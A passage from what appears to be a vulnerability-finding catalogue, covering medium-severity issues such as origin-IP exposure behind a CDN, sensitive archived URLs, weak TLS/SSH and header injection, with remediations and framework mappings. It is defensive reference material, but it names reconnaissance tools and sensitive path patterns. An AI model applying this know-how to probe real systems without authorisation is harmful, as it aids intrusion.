Remediation: Use ephemeral/disposable runners for public repositories. Restrict self-hosted runners to private repos only. If self-hosted runners must be used on public repos, enable the 'Require approval for all outside collaborators' setting and use separate runner groups with restricted repository access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: AC-6, SC-7
PCI DSS 4: 7.2.1
MEDIUM OSIFT-060 — CDN/WAF Bypass: Potential Origin IP
Description: hakoriginfinder identified an IP address that may be the origin server behind the CDN/WAF. The IP responded to HTTP requests with content that partially matches the target domain (e.g., 2xx/3xx status code with related content). Further verification is needed to confirm this is the actual origin.
Impact: If this IP is confirmed as the origin server, an attacker can bypass all CDN/WAF protections. Even as a candidate, it reveals infrastructure information that narrows the attack surface and may identify related services, staging environments, or development servers.
Remediation: Verify whether this IP is the actual origin server. If confirmed, restrict its firewall to accept connections only from CDN edge IPs. If it is a staging or development server, ensure it is not publicly accessible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: SC-7
PCI DSS 4: 1.3.1
MEDIUM OSIFT-063 — Sensitive Historical URL Discovered
Description: waymore discovered historical URLs matching security-sensitive patterns (admin, config, debug, backup, test, internal, setup, install, phpinfo, .env, wp-admin, phpmyadmin) in web archive data. These URLs may indicate administrative interfaces, configuration files, or backup resources that were previously accessible and may still respond to requests.
Impact: Sensitive historical URLs may reveal admin panels that still respond, configuration files with credentials, database backups, installation wizards that can be replayed, debug pages with verbose error output, and internal API documentation. These represent high-value targets for an attacker who can access them directly.
Remediation: Remove sensitive endpoints from production. Add authentication to admin panels. Delete backup and configuration files from web-accessible directories. Disable debug/install/setup endpoints in production. Request removal of sensitive cached pages from web archives where possible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance), T1190 (Initial Access)
NIST 800-53: AC-6, CM-7
PCI DSS 4: 6.2.4, 6.4.1
MEDIUM OSIFT-069 — Document Metadata: GPS Coordinates Leaked
Description: exiftool extracted GPS coordinates from the EXIF metadata of a publicly accessible image or document. This reveals the physical location where the photo was taken or the document was created, which may include office locations, employee residences, or sensitive facility coordinates.
Impact: GPS coordinates in publicly accessible documents can reveal office locations, data center addresses, employee home locations, and other sensitive physical locations. This information enables physical surveillance, social engineering, and targeted attacks against specific facilities. For individuals, leaked GPS data from personal photos represents a privacy violation.
Remediation: Strip EXIF GPS data from all images and documents before publishing. Configure mobile devices and cameras to disable GPS tagging. Use metadata removal tools (exiftool -gps:all=, mat2) as part of the content publishing workflow.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1591.001 (Reconnaissance)
NIST 800-53: SI-12, MP-5
PCI DSS 4: 3.4.1
MEDIUM PHX-013 — Weak Password Policy
Remediation: Enforce a minimum password length of 12 characters with complexity requirements. Check passwords against known-breached password lists (HIBP). Encourage passphrases.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM PHX-019 — Weak TLS Configuration
Remediation: Disable TLS 1.0 and TLS 1.1. Enforce TLS 1.2 as minimum with TLS 1.3 preferred. Disable SSLv2/SSLv3. Configure strong cipher suites only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM PHX-020 — SSL Certificate Expired or Self-Signed
Remediation: Replace expired or self-signed certificates with CA-signed certificates. Implement certificate lifecycle management with automated renewal (e.g., Let's Encrypt with ACME).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
MEDIUM PHX-021 — Weak Cipher Suite Enabled
Remediation: Disable all EXPORT, NULL, RC4, and DES ciphers. Configure a strong cipher suite order (ECDHE+AESGCM preferred). Use tools like Mozilla SSL Config Generator.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM PHX-026 — Verbose Error Messages Exposing Internals
Remediation: Configure generic error pages for production. Log detailed errors server-side only. Never expose stack traces, SQL errors, or framework details to users.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-6, SI-11
PCI DSS 4: 6.2.4
MEDIUM PHX-028 — Missing HTTP Security Headers
Remediation: Add Content-Security-Policy, Strict-Transport-Security, X-Frame-Options (DENY), X-Content-Type-Options (nosniff), and Referrer-Policy headers to all responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: CM-6, SC-18
PCI DSS 4: 6.2.4
MEDIUM PHX-029 — Open Port – Unnecessary Service Exposed
Remediation: Close or firewall all ports not required for business operations. Review and document all listening services. Apply network segmentation and default-deny firewall rules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, SA-9
PCI DSS 4: 1.3.1
MEDIUM PHX-033 — SSH Weak Configuration
Remediation: Disable password authentication; enforce key-based auth. Disable root login. Restrict SSH to strong key exchange algorithms (curve25519). Limit access by IP/group.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1021.004 (Lateral Movement)
NIST 800-53: AC-17, IA-5, CM-6
PCI DSS 4: 8.3.6, 2.2.7
MEDIUM PHX-034 — DNS Zone Transfer Allowed
Remediation: Restrict zone transfers to authorized secondary name servers only. Configure TSIG (transaction signatures) for zone transfer authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1590.002 (Reconnaissance)
NIST 800-53: CM-7, SC-20
PCI DSS 4: 1.3.1
MEDIUM PHX-042 — API Rate Limiting Absent
Remediation: Implement per-user and per-IP rate limiting on all API endpoints. Apply exponential backoff for authentication endpoints. Return 429 Too Many Requests with Retry-After headers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 – Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-044 — GraphQL Introspection Enabled in Production
Remediation: Disable GraphQL introspection in production environments. Implement query depth limiting and query cost analysis to prevent abuse.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-045 — SOAP Action Spoofing
Remediation: Validate the SOAPAction header against the actual WSDL definition. Reject requests where SOAPAction does not match the endpoint's expected operations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-048 — Account Enumeration via Login Response
Remediation: Return identical error messages for invalid username and invalid password. Apply consistent response timing to prevent timing-based enumeration. Use CAPTCHA after repeated failures.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: IA-5, SI-11
PCI DSS 4: 8.3.4
MEDIUM PHX-051 — Open Redirect
Remediation: Validate redirect destinations against a server-side allowlist. Avoid using user-supplied values as redirect targets. Use indirect mapping for permitted redirect targets.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-052 — Clickjacking – Missing X-Frame-Options
Remediation: Add X-Frame-Options: DENY or SAMEORIGIN header. Use Content-Security-Policy frame-ancestors directive as the modern equivalent.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-053 — HTTP Method Tampering
Remediation: Restrict HTTP methods to only those required by the application (GET, POST). Disable PUT, DELETE, TRACE, and OPTIONS where not needed. Validate method at the authorization layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-054 — Missing Logging and Monitoring
Remediation: Log all authentication events, access control failures, and administrative actions. Centralize logs to a SIEM. Configure alerts for anomalous patterns. Retain logs per compliance requirements.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
NIST 800-53: AU-2, AU-3, AU-12, IR-4
PCI DSS 4: 10.2.1, 10.3.1
MEDIUM PHX-063 — HTTP Methods: Unsafe Methods Enabled
Remediation: Disable the HTTP TRACE method on all web servers. In Apache: TraceEnable Off. In Nginx: return 405 for TRACE requests.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-064 — Cookie Without Secure Flag
Remediation: Set the Secure flag on all cookies to prevent transmission over non-HTTPS connections. Also set HttpOnly and SameSite flags appropriately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM PHX-065 — Cookie Without HttpOnly Flag
Remediation: Set HttpOnly flag on all session and authentication cookies to prevent JavaScript access and mitigate XSS-based session theft.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-075 — Credential Exposure via OSINT – LinkedIn Employee Data
Remediation: Educate employees on minimal professional social media exposure. Implement phishing-resistant MFA. Monitor for use of corporate email addresses on breach databases.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.003 (Reconnaissance)
NIST 800-53: AT-2, PL-4
MEDIUM PHX-085 — Inadequate Input Validation – HTTP Header Injection
Remediation: Validate and sanitize all data used in HTTP response headers. Strip or reject CR (\r) and LF (\n) characters from user-supplied input included in headers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-087 — Insecure Token Storage – Tokens in localStorage
Remediation: Store authentication tokens in HttpOnly cookies, not localStorage. If localStorage is unavoidable, apply strong CSP to mitigate XSS risk. Use short-lived access tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SC-28
PCI DSS 4: 3.4.1
MEDIUM PHX-090 — Weak Encryption – DES/3DES in Use
Remediation: Replace DES and 3DES with AES-128 or AES-256. Update TLS configurations to remove 3DES cipher suites. Ensure SSH configurations exclude arcfour and DES-based ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM PHX-095 — Improper Error Handling – Stack Trace in API Response
Remediation: Return generic error responses to API clients. Log detailed errors server-side only. Use a centralized exception handler that strips sensitive information before responding.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SI-11, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-097 — HSTS Not Enabled
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload' header to all HTTPS responses. Submit domain to HSTS preload list.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM PHX-098 — Reflected File Download (RFD)
Remediation: Set a strict Content-Disposition header for all API responses. Ensure Content-Type headers accurately reflect response content. Add X-Content-Type-Options: nosniff.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-100 — Unsafe Redirect After Authentication
Remediation: Validate post-login redirect URLs against a server-side allowlist. Reject external or relative redirect targets. Use a state parameter in OAuth flows to prevent CSRF and redirect abuse.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-105 — Broken Authentication – No Credential Rotation Policy
Remediation: Establish a credential rotation policy (90 days for service accounts, 30 days for API keys). Automate rotation using a secrets manager. Audit for long-lived tokens in CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-5
PCI DSS 4: 8.3.9
MEDIUM PHX-109 — HTTP Methods: Unsafe Methods Enabled
Remediation: Disable the HTTP TRACE and TRACK methods in the web server configuration. In Apache, set 'TraceEnable Off'; in Nginx, add an explicit deny rule in the server block for TRACE requests. Verify remediation with a direct TRACE request and confirm a 405 or 501 response is returned.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1185 (Collection), T1539 (Collection)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM PHX-112 — CRLF Injection
Remediation: Strip or encode carriage return (\r, %0d) and line feed (\n, %0a) characters from all user-supplied data before it is written into HTTP response headers. Use framework-provided header APIs rather than manual string construction. Apply input validation as a secondary layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM PHX-113 — CSV / Formula Injection
Remediation: Sanitise all data included in CSV exports by prepending a single quote to cells beginning with =, +, -, @, |, or tab characters. Enclose all fields in double quotes and escape embedded quotes. Apply this sanitisation at the export layer regardless of where the data originated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1059 (Execution), T1566.002 (Initial Access)
NIST 800-53: SI-10, SI-7
PCI DSS 4: 6.2.4
MEDIUM PHX-114 — Log Injection
Remediation: Sanitise all user-supplied values written to application logs by stripping or encoding newline characters. Adopt structured logging (JSON or key-value format) which is inherently resistant to log injection. Ensure log integrity monitoring detects unexpected formatting anomalies.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.006 (Defense Evasion), T1070 (Defense Evasion)
NIST 800-53: AU-9, SI-10, AU-12
PCI DSS 4: 10.3.1, 6.2.4
MEDIUM PHX-115 — JSONP Endpoint Cross-Origin Data Leakage
Remediation: Replace JSONP endpoints with CORS-enabled JSON APIs using restrictive Access-Control-Allow-Origin policies. If JSONP must be retained, validate the callback parameter strictly against an alphanumeric whitelist and ensure no sensitive or authenticated data is returned via JSONP.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1185 (Collection), T1530 (Collection)
NIST 800-53: AC-4, SC-8
PCI DSS 4: 6.4.1, 6.5.1
MEDIUM PHX-118 — JWT Missing Expiry Claim
Remediation: Include an 'exp' claim in all issued JWTs with an appropriate short lifetime (e.g., 15 minutes for access tokens). Implement refresh token rotation to allow session continuation without long-lived access tokens. Validate the exp claim on every request server-side and reject expired tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
MEDIUM PHX-119 — Timing Attack – Non-Constant-Time Authentication
Remediation: Replace all security-sensitive string comparisons with constant-time equivalents (e.g., hmac.compare_digest() in Python, crypto.timingSafeEqual() in Node.js). This applies to password verification, token comparison, HMAC validation, and any other authentication comparison. Never use == or === operators for secret comparison.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1522 (Credential Access)
NIST 800-53: IA-3, SC-8
PCI DSS 4: 8.3.1
MEDIUM PHX-123 — Sensitive Information in Page Source
Remediation: Remove all developer comments, internal URLs, environment references, and configuration hints from production HTML and JavaScript. Implement a build pipeline step to strip comments from production assets. Conduct regular automated scanning of page sources for sensitive pattern matches.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance), T1083 (Discovery)
NIST 800-53: SI-12, CM-7
PCI DSS 4: 6.5.1
MEDIUM PHX-127 — WordPress Administrative / Sensitive Path Exposed
Remediation: Restrict access to WordPress administrative, installation, and cron scripts via web server ACLs. Disable the built-in WP-Cron and replace with a real system cron job. Apply WordPress hardening guidelines and block direct HTTP access to sensitive PHP files not intended for public use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
MEDIUM PHX-128 — WordPress Information Disclosure
Remediation: Disable directory listing on all WordPress directories, suppress plugin and theme version parameters from enqueued assets, and restrict the REST API user endpoint. For Multisite installations, apply network-level hardening and restrict super-admin access. Keep all components updated and remove unused plugins and themes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
MEDIUM PHX-137 — FTP Bounce Attack
Remediation: Disable FTP altogether in favour of SFTP or FTPS. If FTP is required, configure the server to deny PORT commands to addresses that differ from the client's IP. Restrict passive port ranges and enforce firewall egress controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 1.3.1, 2.2.4
MEDIUM PHX-138 — HDMI Physical Attack Surface — CEC/DDC/EDID
Remediation: Disable CEC in display and source device settings where not operationally required. Apply HDCP where content protection is mandated. Restrict physical access to HDMI ports on sensitive systems. Use HDMI signal blockers or port locks in high-security environments.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
MITRE ATT&CK: T1200 (Initial Access), T0821 (Impair Process Control)
NIST 800-53: AC-3, CM-7, PE-3
PCI DSS 4: 9.1.1
MEDIUM PHX-149 — SSH Weak Cryptographic Algorithms
Remediation: Remove CBC mode ciphers, MD5/SHA-1 MACs, and diffie-hellman-group1/14-sha1 key exchange from sshd_config. Enable only strong ciphers (chacha20-poly1305, aes256-gcm), MACs (hmac-sha2-256-etm), and KEX (curve25519-sha256). Apply Terrapin patch (CVE-2023-48795) by upgrading OpenSSH.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM PHX-152 — SMTP User Enumeration via VRFY/EXPN
Remediation: Disable the VRFY and EXPN commands in the SMTP server configuration. In Postfix: 'disable_vrfy_command = yes'. In Sendmail: add 'O NoRecipientAction=add-apparently-to' and remove VRFY support. This prevents username harvesting through the mail service.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 2.2.4
MEDIUM PHX-153 — SIP User/Extension Enumeration
Remediation: Configure SIP server to return identical responses for valid and invalid extension REGISTER/OPTIONS requests. Implement rate limiting and account lockout on SIP authentication failures. Use SIP-aware firewall rules to restrict enumeration attempts.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.4
MEDIUM PHX-154 — WebDAV Enabled on Web Server
Remediation: Disable WebDAV if not required for business operations (IIS: remove WebDAV Publishing role feature; Apache: disable mod_dav). If WebDAV must remain, restrict to authenticated users, enforce HTTPS, and limit HTTP methods to the minimum required (deny PUT, DELETE by default).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 2.2.4, 6.2.4
MEDIUM PHX-155 — JetDirect / PJL Printer Service Exposed
Remediation: Restrict TCP/9100 (JetDirect/RAW printing) and TCP/515 (LPD) to trusted print server IPs at the firewall. Disable PJL command execution on printer firmware if not required. Update printer firmware. Enable printer administrative authentication and disable unauthenticated PJL access.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 1.3.1, 2.2.4
MEDIUM PHX-170 — SSL/TLS Session and Cipher Configuration Issues
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM PHX-176 — OSINT Email Address Exposure
Remediation: Audit public-facing sources (websites, WHOIS, job postings, breach databases) for exposed employee email addresses. Implement email address format obfuscation on public pages. Train staff on phishing risks arising from harvested email addresses.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
MEDIUM PHX-178 — Internal Server Path/Directory Structure Disclosed
Remediation: Audit archived web snapshots (Wayback Machine, CommonCrawl) for pages revealing internal paths, admin directories, or sensitive file locations. Submit removal requests to archive services where applicable. Ensure web server error pages do not leak directory structures.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM PHX-181 — MTA-STS / Email Transport Security Missing
Remediation: Publish a valid SPF record that restricts authorised sending IP ranges. Configure DKIM signing for all outbound mail. Set a DMARC policy of at least 'p=quarantine' with aggregate reporting. Deploy MTA-STS to enforce TLS on inbound mail flows and publish a TLSRPT record for delivery failure monitoring.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
MEDIUM PHX-182 — DNSSEC Not Configured
Remediation: Enable DNSSEC for all authoritative zones to cryptographically validate DNS responses. Sign all zone records with an appropriate algorithm (ECDSA P-256 recommended). Ensure registrar support for DS record publication. Review wildcard DNS records and remove or scope them appropriately to prevent subdomain takeover risk.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
MEDIUM PHX-183 — Third-Party / Supply Chain Domain Risk
Remediation: Maintain a current inventory of all third-party domains and packages integrated into applications. Monitor for expired or unclaimed third-party domains that could be registered by an adversary. Implement private package registries and scope-locked dependency resolution to mitigate dependency confusion attacks. Conduct periodic third-party risk assessments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195 (Initial Access)
NIST 800-53: SA-12, SR-3
PCI DSS 4: 12.8.1, 12.8.4
MEDIUM PHX-184 — WSDL / SOAP Service Definition Exposed
Remediation: Restrict WSDL access to authorised consumers only — require authentication or restrict by IP. Remove or redact internal operation details from publicly accessible WSDLs. Apply the principle of least privilege to SOAP endpoint exposure and disable auto-generation of service documentation in production.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
